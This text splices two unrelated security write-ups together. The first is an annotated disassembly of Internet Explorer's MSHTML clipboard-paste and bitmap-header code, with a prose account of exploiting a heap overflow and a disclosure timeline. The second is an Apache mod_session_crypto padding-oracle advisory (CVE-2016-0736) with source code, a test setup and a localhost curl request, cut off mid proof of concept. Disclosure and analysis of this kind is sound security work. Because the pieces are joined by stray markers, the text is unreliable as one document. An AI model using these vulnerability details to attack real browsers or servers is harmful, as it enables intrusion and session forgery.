72cf63b0 6afe push 0FFFFFFFEh
72cf63b2 59 pop ecx
72cf63b3 663b88840e0000 cmp cx,word ptr [eax+0E84h]
72cf63ba 7512 jne MSHTML!CPasteCommand::PasteFromClipboard+0x199 (72cf63ce)
72cf63bc 66894c2464 mov word ptr [esp+64h],cx
72cf63c1 33c9 xor ecx,ecx
72cf63c3 89442460 mov dword ptr [esp+60h],eax
72cf63c7 668988840e0000 mov word ptr [eax+0E84h],cx
72cf63ce 837d1000 cmp dword ptr [ebp+10h],0
72cf63d2 7558 jne MSHTML!CPasteCommand::PasteFromClipboard+0x1f7 (72cf642c)
72cf63d4 8d44243c lea eax,[esp+3Ch]
72cf63d8 50 push eax
72cf63d9 ff15b8c1d972 call dword ptr [MSHTML!_imp__OleGetClipboard (72d9c1b8)]
72cf63df 8bf0 mov esi,eax
72cf63e1 85f6 test esi,esi
72cf63e3 0f85e4040000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf63e9 8d44242c lea eax,[esp+2Ch]
72cf63ed 50 push eax
72cf63ee b8c0bfff71 mov eax,offset MSHTML!IID_IDocHostUIHandler (71ffbfc0)
72cf63f3 50 push eax
72cf63f4 50 push eax
72cf63f5 8b4308 mov eax,dword ptr [ebx+8]
72cf63f8 ff7018 push dword ptr [eax+18h]
72cf63fb e854465dff call MSHTML!CDocument::QueryService (722caa54)
72cf6400 8b4c242c mov ecx,dword ptr [esp+2Ch]
72cf6404 8b54243c mov edx,dword ptr [esp+3Ch]
72cf6408 895510 mov dword ptr [ebp+10h],edx
72cf640b 85c9 test ecx,ecx
72cf640d 741d je MSHTML!CPasteCommand::PasteFromClipboard+0x1f7 (72cf642c)
72cf640f 8b01 mov eax,dword ptr [ecx]
72cf6411 8d742428 lea esi,[esp+28h]
72cf6415 56 push esi
72cf6416 52 push edx
72cf6417 51 push ecx
72cf6418 ff5044 call dword ptr [eax+44h]
72cf641b 85c0 test eax,eax
72cf641d 750d jne MSHTML!CPasteCommand::PasteFromClipboard+0x1f7 (72cf642c)
72cf641f 39442428 cmp dword ptr [esp+28h],eax
72cf6423 7407 je MSHTML!CPasteCommand::PasteFromClipboard+0x1f7 (72cf642c)
72cf6425 8b442428 mov eax,dword ptr [esp+28h]
72cf6429 894510 mov dword ptr [ebp+10h],eax
72cf642c 8b4b08 mov ecx,dword ptr [ebx+8]
72cf642f 8d442424 lea eax,[esp+24h]
72cf6433 50 push eax
72cf6434 57 push edi
72cf6435 e886255aff call MSHTML!CHTMLEditor::GetFlowElement (722989c0)
72cf643a 8bf0 mov esi,eax
72cf643c 85f6 test esi,esi
72cf643e 0f8889040000 js MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf6444 8b442424 mov eax,dword ptr [esp+24h]
72cf6448 85c0 test eax,eax
72cf644a 750a jne MSHTML!CPasteCommand::PasteFromClipboard+0x221 (72cf6456)
72cf644c c744244401000000 mov dword ptr [esp+44h],1
72cf6454 eb3a jmp MSHTML!CPasteCommand::PasteFromClipboard+0x25b (72cf6490)
72cf6456 8b30 mov esi,dword ptr [eax]
72cf6458 8d4c2440 lea ecx,[esp+40h]
72cf645c e82e5462ff call MSHTML!CSmartPtr<IHTMLElement3>::operator& (7231b88f)
72cf6461 50 push eax
72cf6462 6854e82172 push offset MSHTML!IID_IHTMLElement3 (7221e854)
72cf6467 ff74242c push dword ptr [esp+2Ch]
72cf646b ff16 call dword ptr [esi]
72cf646d 8bf0 mov esi,eax
72cf646f 85f6 test esi,esi
72cf6471 0f8856040000 js MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf6477 8b442440 mov eax,dword ptr [esp+40h]
72cf647b 8d542444 lea edx,[esp+44h]
72cf647f 52 push edx
72cf6480 50 push eax
72cf6481 8b08 mov ecx,dword ptr [eax]
72cf6483 ff5124 call dword ptr [ecx+24h]
72cf6486 8bf0 mov esi,eax
72cf6488 85f6 test esi,esi
72cf648a 0f883d040000 js MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf6490 8b7c2454 mov edi,dword ptr [esp+54h]
72cf6494 6bc714 imul eax,edi,14h
72cf6497 01442414 add dword ptr [esp+14h],eax
72cf649b e9cc010000 jmp MSHTML!CPasteCommand::PasteFromClipboard+0x437 (72cf666c)
72cf64a0 66837c244400 cmp word ptr [esp+44h],0
72cf64a6 750e jne MSHTML!CPasteCommand::PasteFromClipboard+0x281 (72cf64b6)
72cf64a8 83ff03 cmp edi,3
72cf64ab 7409 je MSHTML!CPasteCommand::PasteFromClipboard+0x281 (72cf64b6)
72cf64ad 83ff02 cmp edi,2
72cf64b0 0f85b0010000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x431 (72cf6666)
72cf64b6 8b4d10 mov ecx,dword ptr [ebp+10h]
72cf64b9 ff742414 push dword ptr [esp+14h]
72cf64bd 51 push ecx
72cf64be 8b01 mov eax,dword ptr [ecx]
72cf64c0 ff5014 call dword ptr [eax+14h]
72cf64c3 85c0 test eax,eax
72cf64c5 0f859b010000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x431 (72cf6666)
72cf64cb 83ff04 cmp edi,4
72cf64ce 7418 je MSHTML!CPasteCommand::PasteFromClipboard+0x2b3 (72cf64e8)
72cf64d0 83ff01 cmp edi,1
72cf64d3 7413 je MSHTML!CPasteCommand::PasteFromClipboard+0x2b3 (72cf64e8)
72cf64d5 83ff03 cmp edi,3
72cf64d8 740e je MSHTML!CPasteCommand::PasteFromClipboard+0x2b3 (72cf64e8)
72cf64da 83ff02 cmp edi,2
72cf64dd 7409 je MSHTML!CPasteCommand::PasteFromClipboard+0x2b3 (72cf64e8)
72cf64df 85ff test edi,edi
72cf64e1 7405 je MSHTML!CPasteCommand::PasteFromClipboard+0x2b3 (72cf64e8)
72cf64e3 83ff08 cmp edi,8
72cf64e6 7524 jne MSHTML!CPasteCommand::PasteFromClipboard+0x2d7 (72cf650c)
72cf64e8 8b4d10 mov ecx,dword ptr [ebp+10h]
72cf64eb 8d542468 lea edx,[esp+68h]
72cf64ef 52 push edx
72cf64f0 ff742418 push dword ptr [esp+18h]
72cf64f4 8b01 mov eax,dword ptr [ecx]
72cf64f6 51 push ecx
72cf64f7 ff500c call dword ptr [eax+0Ch]
72cf64fa 85c0 test eax,eax
72cf64fc 0f8564010000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x431 (72cf6666)
72cf6502 8b44246c mov eax,dword ptr [esp+6Ch]
72cf6506 89442410 mov dword ptr [esp+10h],eax
72cf650a eb04 jmp MSHTML!CPasteCommand::PasteFromClipboard+0x2db (72cf6510)
72cf650c 8b442410 mov eax,dword ptr [esp+10h]
72cf6510 85ff test edi,edi
72cf6512 0f84f8000000 je MSHTML!CPasteCommand::PasteFromClipboard+0x3db (72cf6610)
72cf6518 83ff01 cmp edi,1
72cf651b 744d je MSHTML!CPasteCommand::PasteFromClipboard+0x335 (72cf656a)
72cf651d 83ff02 cmp edi,2
72cf6520 0f84d1020000 je MSHTML!CPasteCommand::PasteFromClipboard+0x5c2 (72cf67f7)
72cf6526 0f8e3a010000 jle MSHTML!CPasteCommand::PasteFromClipboard+0x431 (72cf6666)
72cf652c 83ff04 cmp edi,4
72cf652f 0f8e0d020000 jle MSHTML!CPasteCommand::PasteFromClipboard+0x50d (72cf6742)
72cf6535 83ff08 cmp edi,8
72cf6538 0f8528010000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x431 (72cf6666)
72cf653e 50 push eax
72cf653f ff15e043dc72 call dword ptr [MSHTML!_imp__GlobalLock (72dc43e0)]
72cf6545 8bf8 mov edi,eax
72cf6547 8b442410 mov eax,dword ptr [esp+10h]
72cf654b 89442420 mov dword ptr [esp+20h],eax
72cf654f 85ff test edi,edi
72cf6551 0f8524010000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x446 (72cf667b)
72cf6557 be0e000780 mov esi,8007000Eh
72cf655c 8d4c2420 lea ecx,[esp+20h]
72cf6560 e819f1bfff call MSHTML!TSmartHandle<void *,&GlobalUnlock>::~TSmartHandle<void *,&GlobalUnlock> (728f567e)
72cf6565 e963030000 jmp MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf656a 8b4c242c mov ecx,dword ptr [esp+2Ch]
72cf656e e87b8f0200 call MSHTML!EdUtil::IsRtfConverterEnabled (72d1f4ee)
72cf6573 85c0 test eax,eax
72cf6575 0f84eb000000 je MSHTML!CPasteCommand::PasteFromClipboard+0x431 (72cf6666)
72cf657b ff742410 push dword ptr [esp+10h]
72cf657f ff15e043dc72 call dword ptr [MSHTML!_imp__GlobalLock (72dc43e0)]
72cf6585 85c0 test eax,eax
72cf6587 0f84ff010000 je MSHTML!CPasteCommand::PasteFromClipboard+0x557 (72cf678c)
72cf658d 8d4c2420 lea ecx,[esp+20h]
72cf6591 8bd0 mov edx,eax
72cf6593 51 push ecx
72cf6594 e8a598fdff call MSHTML!CRtfToHtmlConverter::StringRtfToStringHtml (72ccfe3e)
72cf6599 ff742410 push dword ptr [esp+10h]
72cf659d 8bf0 mov esi,eax
72cf659f ff15dc43dc72 call dword ptr [MSHTML!_imp__GlobalUnlock (72dc43dc)]
72cf65a5 85f6 test esi,esi
72cf65a7 0f85b4000000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x42c (72cf6661)
72cf65ad 397518 cmp dword ptr [ebp+18h],esi
72cf65b0 7436 je MSHTML!CPasteCommand::PasteFromClipboard+0x3b3 (72cf65e8)
72cf65b2 397520 cmp dword ptr [ebp+20h],esi
72cf65b5 741d je MSHTML!CPasteCommand::PasteFromClipboard+0x39f (72cf65d4)
72cf65b7 ff7524 push dword ptr [ebp+24h]
72cf65ba 8bcb mov ecx,ebx
72cf65bc ff751c push dword ptr [ebp+1Ch]
72cf65bf ff750c push dword ptr [ebp+0Ch]
72cf65c2 ff7508 push dword ptr [ebp+8]
72cf65c5 e802bbffff call MSHTML!CPasteCommand::FirePasteEventAndRemoveSelection (72cf20cc)
72cf65ca 8bf0 mov esi,eax
72cf65cc 85f6 test esi,esi
72cf65ce 0f85f9020000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf65d4 ff742420 push dword ptr [esp+20h]
72cf65d8 8b4b08 mov ecx,dword ptr [ebx+8]
72cf65db ff750c push dword ptr [ebp+0Ch]
72cf65de ff7508 push dword ptr [ebp+8]
72cf65e1 e89158fdff call MSHTML!CHTMLEditor::DoTheDarnIE50PasteHTML (72ccbe77)
72cf65e6 eb1a jmp MSHTML!CPasteCommand::PasteFromClipboard+0x3cd (72cf6602)
72cf65e8 ff7524 push dword ptr [ebp+24h]
72cf65eb 8bcb mov ecx,ebx
72cf65ed ff751c push dword ptr [ebp+1Ch]
72cf65f0 ff7520 push dword ptr [ebp+20h]
72cf65f3 ff74242c push dword ptr [esp+2Ch]
72cf65f7 ff750c push dword ptr [ebp+0Ch]
72cf65fa ff7508 push dword ptr [ebp+8]
72cf65fd e861e4ffff call MSHTML!CPasteCommand::HandleUIPasteHTML (72cf4a63)
72cf6602 ff742420 push dword ptr [esp+20h]
72cf6606 8bf0 mov esi,eax
72cf6608 ff15f044dc72 call dword ptr [MSHTML!_imp__GlobalFree (72dc44f0)]
72cf660e eb23 jmp MSHTML!CPasteCommand::PasteFromClipboard+0x3fe (72cf6633)
72cf6610 837d1800 cmp dword ptr [ebp+18h],0
72cf6614 0f8578020000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x65d (72cf6892)
72cf661a ff7524 push dword ptr [ebp+24h]
72cf661d 8bcb mov ecx,ebx
72cf661f ff751c push dword ptr [ebp+1Ch]
72cf6622 ff7520 push dword ptr [ebp+20h]
72cf6625 50 push eax
72cf6626 ff750c push dword ptr [ebp+0Ch]
72cf6629 ff7508 push dword ptr [ebp+8]
72cf662c e832e4ffff call MSHTML!CPasteCommand::HandleUIPasteHTML (72cf4a63)
72cf6631 8bf0 mov esi,eax
72cf6633 85f6 test esi,esi
72cf6635 0f8992020000 jns MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf663b 8b4d08 mov ecx,dword ptr [ebp+8]
72cf663e 8b01 mov eax,dword ptr [ecx]
72cf6640 ff9080000000 call dword ptr [eax+80h]
72cf6646 85c0 test eax,eax
72cf6648 0f847f020000 je MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf664e 8b4d0c mov ecx,dword ptr [ebp+0Ch]
72cf6651 8b01 mov eax,dword ptr [ecx]
72cf6653 ff9080000000 call dword ptr [eax+80h]
72cf6659 85c0 test eax,eax
72cf665b 0f846c020000 je MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf6661 be64000480 mov esi,80040064h
72cf6666 47 inc edi
72cf6667 8344241414 add dword ptr [esp+14h],14h
72cf666c 3b7c2448 cmp edi,dword ptr [esp+48h]
72cf6670 0f8d57020000 jge MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf6676 e925feffff jmp MSHTML!CPasteCommand::PasteFromClipboard+0x26b (72cf64a0)
7202667b 50 push eax
7202667c ff15e4430f72 call dword ptr [MSHTML!_imp__GlobalSize (720f43e4)] <eax> =
72026682 89442450 mov dword ptr [esp+50h],eax uBitmapInfoSize<stack> = uBitmapInfoSize<eax>
72026686 83f82c cmp eax,2Ch if (uBitmapInfoSize<eax> < 0x2C)
72026689 0f82cdfeffff jb 7202655c goto label1
7202668f 8b17 mov edx,dword ptr [edi] larg2<edx> = poBitmapInfo<edi>->BITMAPINFOHEADER.biSize
72026691 8d442438 lea eax,[esp+38h] &uActualBitmapInfoSize<eax> = &(uActualBitmapInfoSize<stack>)
72026695 8b4f14 mov ecx,dword ptr [edi+14h] larg1<ecx> = poBitmapInfo<edi>->BITMAPINFOHEADER.biSizeImage
72026698 8364243800 and dword ptr [esp+38h],0 uActualBitmapInfoSize<stack> = 0
7202669d 50 push eax larg3<stack> = &pabImageData<eax>
7202669e e8f9da28ff call 712b419c hResult<eax> = MSHTML!UIntAdd( uActualBitmapInfoSize = poBitmapInfo->biSizeImage + poBitmapInfo->biSize
poBitmapInfo<edi>->biSizeImage<ecx> hResult<eax> = error code on integer overflow
poBitmapInfo<edi>->biSize<edx>
&uActualBitmapInfoSize<eax>
);
720266a3 8bf0 mov esi,eax hResult<esi> = hResult<eax>
720266a5 85f6 test esi,esi if (hResult<esi> < 0)
720266a7 0f88affeffff js 7202655c goto label1
720266ad 8b442450 mov eax,dword ptr [esp+50h] uBitmapInfoSize<eax> = uBitmapInfoSize<stack>
720266b1 3b442438 cmp eax,dword ptr [esp+38h] if (uBitmapInfoSize<eax> < uActualBitmapInfoSize<stack>)
720266b5 0f82a1feffff jb 7202655c goto label1
720266bb 8364243400 and dword ptr [esp+34h],0 poOriginalBitmap<stack> = 0
720266c0 8d4c244c lea ecx,[esp+4Ch] &uBitmapSize<ecx> = &(uBitmapSize<stack>)
720266c4 8364244c00 and dword ptr [esp+4Ch],0 uBitmapSize<stack> = 0
720266c9 51 push ecx larg4<stack> = &uBitmapSize<ecx>
720266ca 8d4c2438 lea ecx,[esp+38h] &poBitmap<ecx> = &(poBitmap<stack>)
720266ce 51 push ecx larg3<stack> = &poBitmap<ecx>
720266cf 50 push eax larg2<stack> = uBitmapInfoSize<eax>
720266d0 57 push edi larg1<stack> = poBitmapInfo<edi>
720266d1 e8af020000 call 72026985 hResult<eax> = MSHTML!CPasteCommand::PrependBitmapHeader(
poBitmapInfo = poBitmapInfo<edi>
uBitmapInfoSize = uBitmapInfoSize<eax>
ppoBitmap = &poBitmap,
puBitmapSize = &uBitmapSize);
720266d6 8bf0 mov esi,eax hResult<esi> = hResult<eax>
720266d8 85f6 test esi,esi if (hResult<esi> != 0)
720266da 0f857cfeffff jne 7202655c goto label1
720266e0 21442438 and dword ptr [esp+38h],eax pabImageData<stack> = NULL<eax>
720266e4 21442450 and dword ptr [esp+50h],eax uPngImageSize<stack> = 0<eax>
720266e8 8d442450 lea eax,[esp+50h] &uPngImageSize<eax> = &(uPngImageSize<stack>)
720266ec 50 push eax larg4<stack> = &uPngImageSize<eax>
720266ed 8d44243c lea eax,[esp+3Ch] &pabImageData<eax> = &(pabImageData<stack>)
720266f1 50 push eax larg3<stack> = &pabImageData<eax>
720266f2 ff742454 push dword ptr [esp+54h] larg2<stack> = uBitmapSize<stack>
720266f6 ff742440 push dword ptr [esp+40h] larg1<stack> = poBitmap<stack>
720266fa e8feb1ffff call 720218fd MSHTML!CPasteCommand::ConvertBitmaptoPng(
poBitmap = poBitmap<stack>,
**** SHIT HITS FAN **** uBitmapSize = uBitmapSize<stack>,
ppoPngImage = &pabImageData,
puPngImageSize = &uPngImageSize<stack>)
720266ff ff742434 push dword ptr [esp+34h]
72026703 8bf0 mov esi,eax
72026705 e8fdc85fff call 71623007 MSHTML!operator delete(...)
7202670a 59 pop ecx
7202670b 85f6 test esi,esi
7202670d 0f8549feffff jne 7202655c goto label1;
72026713 ff7524 push dword ptr [ebp+24h]
72026716 8bcb mov ecx,ebx
72026718 ff751c push dword ptr [ebp+1Ch]
7202671b ff7520 push dword ptr [ebp+20h]
7202671e ff74245c push dword ptr [esp+5Ch]
72026722 ff742448 push dword ptr [esp+48h]
72026726 ff750c push dword ptr [ebp+0Ch]
72026729 ff7508 push dword ptr [ebp+8]
7202672c e81ce2ffff call 7202494d MSHTML!CPasteCommand::HandlePasteImage(...)
72026731 ff742438 push dword ptr [esp+38h]
72026735 8bf0 mov esi,eax
72026737 e8cbc85fff call MSHTML!operator delete (71623007)
7202673c 59 pop ecx
7202673d e91afeffff jmp 7202655c label1
7202650c 8b442410 mov eax,dword ptr [esp+10h]
72026510 85ff test edi,edi
72026512 0f84f8000000 je MSHTML!CPasteCommand::PasteFromClipboard+0x3db (72026610)
72026518 83ff01 cmp edi,1
7202651b 744d je MSHTML!CPasteCommand::PasteFromClipboard+0x335 (7202656a)
7202651d 83ff02 cmp edi,2
72026520 0f84d1020000 je MSHTML!CPasteCommand::PasteFromClipboard+0x5c2 (720267f7)
72026526 0f8e3a010000 jle MSHTML!CPasteCommand::PasteFromClipboard+0x431 (72026666)
7202652c 83ff04 cmp edi,4
7202652f 0f8e0d020000 jle MSHTML!CPasteCommand::PasteFromClipboard+0x50d (72026742)
72026535 83ff08 cmp edi,8
72026538 0f8528010000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x431 (72026666)
7202653e 50 push eax
7202653f ff15e0430f72 call dword ptr [MSHTML!_imp__GlobalLock (720f43e0)]
72026545 8bf8 mov edi,eax
72026547 8b442410 mov eax,dword ptr [esp+10h]
7202654b 89442420 mov dword ptr [esp+20h],eax
7202654f 85ff test edi,edi
72026551 0f8524010000 jne MSHTML!CPasteCommand::PasteFromClipboard+0x446 (7202667b)
72026557 be0e000780 mov esi,8007000Eh
label1:
7202655c 8d4c2420 lea ecx,[esp+20h]
72026560 e819f1bfff call MSHTML!TSmartHandle<void *,&GlobalUnlock>::~TSmartHandle<void *,&GlobalUnlock> (71c2567e)
72026565 e963030000 jmp MSHTML!CPasteCommand::PasteFromClipboard+0x698 (720268cd)
MSHTML!CPasteCommand..PrependBitmapHeader.txt
MSHTML!CPasteCommandPrependBitmapHeader(
VOID* poBitmapInfo<ebp+8>,
UINT uBitmapInfoSize<ebp+C>,
VOID** ppoBitmap<ebp+10>,
UINT* uBitmapSize<ebp+14>
):
uBitmapSize<ebp-4>
72cf6985 8bff mov edi,edi
72cf6987 55 push ebp
72cf6988 8bec mov ebp,esp
72cf698a 51 push ecx
72cf698b 8b4d0c mov ecx,dword ptr [ebp+0Ch] larg1<ecx> = uBitmapInfoSize<ebp+C>
72cf698e 8d45fc lea eax,[ebp-4] &uBitmapSize<eax> = &uBitmapSize<ebp-4>
72cf6991 8365fc00 and dword ptr [ebp-4],0 uBitmapSize<ebp-4> = 0
72cf6995 56 push esi
72cf6996 57 push edi
72cf6997 50 push eax larg3<stack> = &uBitmapSize<eax>
72cf6998 6a0e push 0Eh
72cf699a 5a pop edx larg2<edx> = 0xE
72cf699b e8fcd728ff call 71f8419c MSHTML!UIntAdd( uBitmapSize = uBitmapInfoSize + 0xE
uBitmapInfoSize<ecx>,
0xE<edx>, hResult = error code on integer overflow
&uBitmapSize<eax>);
72cf69a0 8bf8 mov edi,eax hResult<edi> = hResult<eax>
72cf69a2 85ff test edi,edi if (hResult<edi> < 0) if (hResult < 0)
72cf69a4 7850 js 72cf69f6 goto return_error; return 0x8007000E;
72cf69a6 8b75fc mov esi,dword ptr [ebp-4] uBitmapSize<esi> = uBitmapSize<ebp-4>
72cf69a9 56 push esi larg3<stack> = uBitmapSize<esi>
72cf69aa 6a00 push 0 larg2<stack> = 0
72cf69ac ff3510ccd972 push dword ptr [72d9cc10] larg1<stack> = MSHTML!g_hProcessHeap
72cf69b2 e8eaa620ff call 71f010a1 poBitmap<eax> = MSHTML!HeapAlloc( poBitmap<eax> = HeapAlloc(g_hProcessHeap, 0, uBitmapSize);
MSHTML!g_hProcessHeap,
0,
uBitmapSize<esi>);
72cf69b7 8b4d10 mov ecx,dword ptr [ebp+10h] ppoBitmap<ecx> = ppoBitmap<ebp+10>
72cf69ba 8901 mov dword ptr [ecx],eax *(ppoBitmap<ecx>) = poBitmap<eax> *ppoBitmap = poBitmap
72cf69bc 85c0 test eax,eax if (poBitmap<eax> == NULL) if (poBitmap == NULL)
72cf69be 7436 je 72cf69f6 goto return_error; return 0x8007000E;
72cf69c0 ff750c push dword ptr [ebp+0Ch] larg4<stack> = uBitmapInfoSize
72cf69c3 b9424d0000 mov ecx,4D42h "BM"<ecx> = 0x4D42
72cf69c8 897002 mov dword ptr [eax+2],esi poBitmap<eax>->BITMAPFILEHEADER.bfSize = uBitmapSize<esi> poBitmap->BITMAPFILEHEADER.bfSize = uBitmapSize
72cf69cb ff7508 push dword ptr [ebp+8] larg3<stack> = poBitmapInfo<ebp+8>
72cf69ce 668908 mov word ptr [eax],cx poBitmap<eax>->BITMAPFILEHEADER.bfType = "BM"<cx> poBitmap->BITMAPFILEHEADER.bfType = "BM"
72cf69d1 33c9 xor ecx,ecx 0<ecx> = 0
72cf69d3 ff750c push dword ptr [ebp+0Ch] larg2<stack> = uBitmapInfoSize poBitmap->BITMAPFILEHEADER.bfReserved1 = 0
72cf69d6 894806 mov dword ptr [eax+6],ecx poBitmap<eax>->BITMAPFILEHEADER.bfReserved12 = 0 poBitmap->BITMAPFILEHEADER.bfReserved2 = 0
72cf69d9 c7400a36000000 mov dword ptr [eax+0Ah],36h poBitmap<eax>->BITMAPFILEHEADER.bfOffBits = 0x36 poBitmap->BITMAPFILEHEADER.bfOffBits = 0x36
72cf69e0 83c00e add eax,0Eh &(poBitmap.BITMAPINFO)<eax> = poBitmap<eax> + sizeof(BITMAPFILEHEADER)
72cf69e3 50 push eax larg1<stack> = &oBitmapInfo<eax>
72cf69e4 ff159841dc72 call dword ptr [72dc4198] MSHTML!_imp__memcpy_s( memcpy_s(&(poBitmap->BITMAPINFO), uBitmapInfoSize, poBitmapInfo, uBitmapInfoSize)
&(poBitmap.BITMAPINFO)<stack>,
uBitmapInfoSize<stack>,
poBitmapInfo<stack>,
uBitmapInfoSize<stack>);
72cf69ea 8b4514 mov eax,dword ptr [ebp+14h] puBitmapSize<eax> = puBitmapSize<ebp+14>
72cf69ed 83c410 add esp,10h WTF!?
72cf69f0 8930 mov dword ptr [eax],esi *(puBitmapSize<eax>) = uBitmapSize<esi> *puBitmapSize = uBitmapSize
72cf69f2 8bc7 mov eax,edi hResult<eax> = hResult<edi> return s_OK;
72cf69f4 eb05 jmp 72cf69fb goto return;
return_error:
72cf69f6 b80e000780 mov eax,8007000Eh hResult<eax> = 0x8007000E
return:
72cf69fb 5f pop edi
72cf69fc 5e pop esi
72cf69fd 8be5 mov esp,ebp
72cf69ff 5d pop ebp
72cf6a00 c21000 ret 10h return hResult<eax>
Exploit
An attacker looking to exploit this issue will commonly attempt to get the memory allocated to store the PNG image in a location that is followed by a pre-allocated memory block that contains information the attacker would like to modify. Using the buffer overflow, the attacker can overwrite this pre-allocated memory block with attacker controlled data. Depending on the type of the pre-allocated memory, this could allow the attacker to read or modify arbitrary information within the process and take control of execution flow. No attempt was made to create a Proof-of-Concept that shows this level of control.
Time-line
8 May 2014: This vulnerability was submitted to ZDI.
9 June 2014: This vulnerability was acquired by ZDI.
23 June 2014: This vulnerability was disclosed to Microsoft by ZDI.
14 October 2014: This vulnerability was address by Microsoft in MS14-056.
21 December 2016: Details of this vulnerability are released.
-->
'''
Advisory: Padding Oracle in Apache mod_session_crypto
During a penetration test, RedTeam Pentesting discovered a Padding
Oracle vulnerability in mod_session_crypto of the Apache web server.
This vulnerability can be exploited to decrypt the session data and even
encrypt attacker-specified data.
Details
=======
Product: Apache HTTP Server mod_session_crypto
Affected Versions: 2.3 to 2.5
Fixed Versions: 2.4.25
Vulnerability Type: Padding Oracle
Security Risk: high
Vendor URL: https://httpd.apache.org/docs/trunk/mod/mod_session_crypto.html
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-001.txt
Advisory Status: published
CVE: CVE-2016-0736
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0736
Introduction
============
The module mod_session_crypto of the Apache HTTP Server can be used in
conjunction with the modules mod_session and mod_session_cookie to store
session data in an encrypted cookie within the users' browsers. This
avoids server-side session state so that incoming HTTP requests can be
easily distributed amongst a number of application web servers which do
not need to share session state.
More Details
============
The module mod_session_crypto uses symmetric cryptography to encrypt and
decrypt session data and uses mod_session to store the encrypted data in
a cookie (usually called "session") within the user's browser. The
decrypted session is then made available to the application in an
environment variable (in case of a CGI script) or in a custom HTTP
request header. The application can add a custom HTTP response header
(usually "X-Replace-Session") which instructs the HTTP server to replace
the session's content with the value of the header. Detailed
instructions to set up mod_session and mod_session_crypto can be found
in the documentation:
https://httpd.apache.org/docs/2.4/mod/mod_session.html#basicexamples
The module mod_session_crypto is configured to use either 3DES or AES
with various key sizes, defaulting to AES256. Encryption is handled by
the function "encrypt_string":
modules/session/mod_session_crypto.c
------------------------------------------------------------------------
/**
* Encrypt the string given as per the current config.
*
* Returns APR_SUCCESS if successful.
*/
static apr_status_t encrypt_string(request_rec * r, const apr_crypto_t *f,
session_crypto_dir_conf *dconf, const char *in, char **out)
{
[...]
apr_crypto_key_t *key = NULL;
[...]
const unsigned char *iv = NULL;
[...]
/* use a uuid as a salt value, and prepend it to our result */
apr_uuid_get(&salt);
[...]
res = apr_crypto_passphrase(&key, &ivSize, passphrase,
strlen(passphrase),
(unsigned char *) (&salt), sizeof(apr_uuid_t),
*cipher, APR_MODE_CBC, 1, 4096, f, r->pool);
[...]
res = apr_crypto_block_encrypt_init(&block, &iv, key, &blockSize, r->pool);
[...]
res = apr_crypto_block_encrypt(&encrypt, &encryptlen, (unsigned char *)in,
strlen(in), block);
[...]
res = apr_crypto_block_encrypt_finish(encrypt + encryptlen, &tlen, block);
[...]
/* prepend the salt and the iv to the result */
combined = apr_palloc(r->pool, ivSize + encryptlen + sizeof(apr_uuid_t));
memcpy(combined, &salt, sizeof(apr_uuid_t));
memcpy(combined + sizeof(apr_uuid_t), iv, ivSize);
memcpy(combined + sizeof(apr_uuid_t) + ivSize, encrypt, encryptlen);
/* base64 encode the result */
base64 = apr_palloc(r->pool, apr_base64_encode_len(ivSize + encryptlen +
sizeof(apr_uuid_t) + 1)
* sizeof(char));
[...]
return res;
}
------------------------------------------------------------------------
The source code shows that an encryption key is derived from the
configured password and a randomly chosen salt by calling the function
"apr_crypto_passphrase". This function internally uses PBKDF2 to derive
the key. The data is then encrypted and the salt and IV prepended to the
encrypted data. Before returning to the caller, the result is encoded as
base64.
This procedure does not guarantee integrity of the ciphertext, so the
Apache module is unable to detect whether a session sent back to the
server has been tampered with. Depending on the application this often
means that attackers are able to exploit a Padding Oracle vulnerability.
This allows decrypting the session and encrypting arbitrary data chosen
by the attacker.
Proof of Concept
================
The vulnerability can be reproduced as follows. First, the modules
mod_session, mod_session_crypto and mod_session_cookie are enabled and
configured:
------------------------------------------------------------------------
Session On
SessionEnv On
SessionCookieName session path=/
SessionHeader X-Replace-Session
SessionCryptoPassphrase RedTeam
------------------------------------------------------------------------
In addition, CGI scripts are enabled for a folder and the following CGI
script is saved as "status.rb" and is made available to clients:
------------------------------------------------------------------------
#!/usr/bin/env ruby
require 'cgi'
cgi = CGI.new
data = CGI.parse(ENV['HTTP_SESSION'])
if data.has_key? 'username'
puts
puts "your username is %s" % data['username']
exit
end
puts "X-Replace-Session: username=guest×tamp=" + Time.now.strftime("%s")
puts
puts "not logged in"
------------------------------------------------------------------------
Once the CGI script is correctly set up, the command-line HTTP client curl
can be used to access it:
------------------------------------------------------------------------
$ curl -i http://127.0.0.1:8080/cgi-bin/status.rb
HTTP/1.1 200 OK
Date: Tue, 19 Jan 2016 13:23:19 GMT
Server: Apache/2.4.10 (Ubuntu)
Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
Cache-Control: no-cache
Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
Transfer-Encoding: chunked
Content-Type: application/x-ruby
not logged in
------------------------------------------------------------------------
The example shows that a new encrypted cookie with the name "session" is
returned, and the response body contains the text "not logged in".
Calling the script again with the cookie just returned reveals that the
username in the session is set to "guest":
